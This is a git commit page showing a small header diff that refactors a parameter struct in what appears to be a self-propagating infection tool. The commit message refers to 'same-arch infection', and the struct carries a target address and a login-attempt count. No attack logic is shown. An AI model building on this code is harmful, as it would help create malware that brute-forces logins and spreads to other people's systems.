diff options
author | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-22 22:30:48 +1000 |
commit | 5a98bcd78867b4fb1a272ce26774c8811f28750d (patch) | |
tree | febb7d4d3112d4ce598cd9352fc81d2da2d54ca6 /src/bne.h | |
parent | a0b92490365dc88d50c81780ff9ebb6ddb681e5e (diff) |
Impl PRNE_HTBT_OP_RCB ...
* Parameterize prne_start_bin_rcb() args
* Change value of PRNE_ARCH_NONE to 0 to use it over the wire (problem
arises deserialising)
* tostr() and fstr() functions set errno to EINVAL
* Run bne without binary archive to support same-arch infection
Diffstat (limited to 'src/bne.h')
-rw-r--r-- | src/bne.h | 10 |
1 files changed, 1 insertions, 9 deletions
@@ -40,15 +40,7 @@ struct prne_bne_param { void (*exit_dd)(void *ctx); } cb; void *cb_ctx; - struct { - const uint8_t *m_self; - size_t self_len; - size_t exec_len; - const uint8_t *m_dv; - size_t dv_len; - const prne_bin_archive_t *ba; - prne_arch_t self; - } rcb; + const prne_rcb_param_t *rcb; prne_ip_addr_t subject; unsigned int login_attempt; }; |